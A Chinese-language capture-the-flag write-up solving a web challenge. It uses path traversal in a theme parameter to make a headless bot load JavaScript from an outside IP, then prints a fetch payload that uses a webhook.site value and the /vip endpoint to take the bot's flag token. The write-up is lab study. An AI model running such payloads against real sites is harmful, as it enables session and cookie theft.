我觉得应该是最难的一个了,哦不对,还有一个看不懂的

base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'

这是可控的

const ctx = await browser.createIncognitoBrowserContext();
try{
const page = await ctx.newPage();
await page.setCookie({
name: 'flag',
value: FLAG,
domain: `${APP_HOST}:${APP_PORT}`,
httpOnly: true
})
await page.goto(url, {timeout: 5000})
await sleep(3000)
await page.close()
}catch(e){
console.log(e);
}
await ctx.close();
await browser.close()
console.log(`done: ${url}`)
}

bot.js里
httpOnly用于限制JavaScript 对Cookie 的访问权限
只能是xss+csrf让bot访问 /vip 接口拿cookie了

app.get('/note/:id', (req, res) => {
const note = notes.get(req.params.id)
if (!note) {
res.send('note not found');
return
}
const { tex, theme } = note
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
let theme_url = `http://${req.headers.host}/theme/`
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('note.html', { tex, nonce, base, theme_url })
})

这里构造../preview让其访问preview

测了puppeteer 访问遇到 ../ 会自动解析访问上层目录
测了 req.params 会自动进行url解码

远程服务器

const url = '/login';
const code = 'CODE';
const data = new URLSearchParams({
username: '//webhook.site/2425f7cf-d3f0-4a89-b2df-7dd539babff0',
password: '1be55450445495e51071e7400c3f464e',
});

fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: data,
}).then(_ => {fetch('/vip', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({ code }),
credentials: 'include', // 包括cookie
})});

然后share是bot访问的
/share/../preview?theme=//165.154.5.221:60000/
60000端口下是js/base.js 他是按这个原题路径解析的
然后那边拿到token了,flag应该也出来了

Pasted%20image%2020231102020242
浏览器的抓包记录

应该是成功了,吧